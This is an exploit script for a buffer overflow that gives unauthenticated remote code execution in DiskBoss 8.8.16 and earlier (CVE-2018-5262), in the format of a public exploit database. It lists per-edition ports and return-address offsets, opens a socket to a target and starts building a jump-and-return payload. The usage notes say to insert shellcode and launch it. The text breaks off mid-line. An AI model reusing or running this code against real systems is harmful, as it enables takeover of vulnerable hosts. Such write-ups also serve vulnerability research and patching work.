# Exploit Title: DiskBoss <= 8.8.16 - Unauthenticated Remote Code Execution # Date: 2017-08-27 # Exploit Author: Arris Huijgen # Vendor Homepage: http://www.diskboss.com/ # Software Link: http://www.diskboss.com/setups/diskbossent_setup_v8.8.16.exe # Version: Through 8.8.16 # Tested on: Windows 7 SP1 x64, Windows XP SP3 x86 # CVE: CVE-2018-5262 # Usage # 1. Update the Target section # 2. Update the shellcode # 3. Launch! import socket from struct import pack # Software editions (port, offset) free8416 = (8096, 0x10036e9a) # ADD ESP,8 | RET 0x04 @ libdbs.dll pro8416 = (8097, 0x10036e9a) # ADD ESP,8 | RET 0x04 @ libdbs.dll ult8416 = (8098, 0x10036e9a) # ADD ESP,8 | RET 0x04 @ libdbs.dll srv8416 = (8094, 0x1001806e) # ADD ESP,8 | RET 0x04 @ libpal.dll ent8416 = (8094, 0x1001806e) # ADD ESP,8 | RET 0x04 @ libpal.dll ent8512 = (8094, 0x100180ee) # ADD ESP,8 | RET 0x04 @ libpal.dll free8816 = (8096, 0x10037f6a) # ADD ESP,8 | RET 0x04 @ libdbs.dll pro8816 = (8097, 0x10037f6a) # ADD ESP,8 | RET 0x04 @ libdbs.dll ult8816 = (8098, 0x10037f6a) # ADD ESP,8 | RET 0x04 @ libdbs.dll srv8816 = (8094, 0x100180f9) # ADD ESP,8 | RET 0x04 @ libpal.dll ent8816 = (8094, 0x100180f9) # ADD ESP,8 | RET 0x04 @ libpal.dll # Target host = '127.0.0.1' (port, addr) = ent8816 def main(): # Connect s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) print '[+] Connected to %s:%d' % (host, port) # Memory size = 1000 offset = 128 # Payload preret = '\xEB\x06\x90\x90' # JMP 0x06 ret = pack('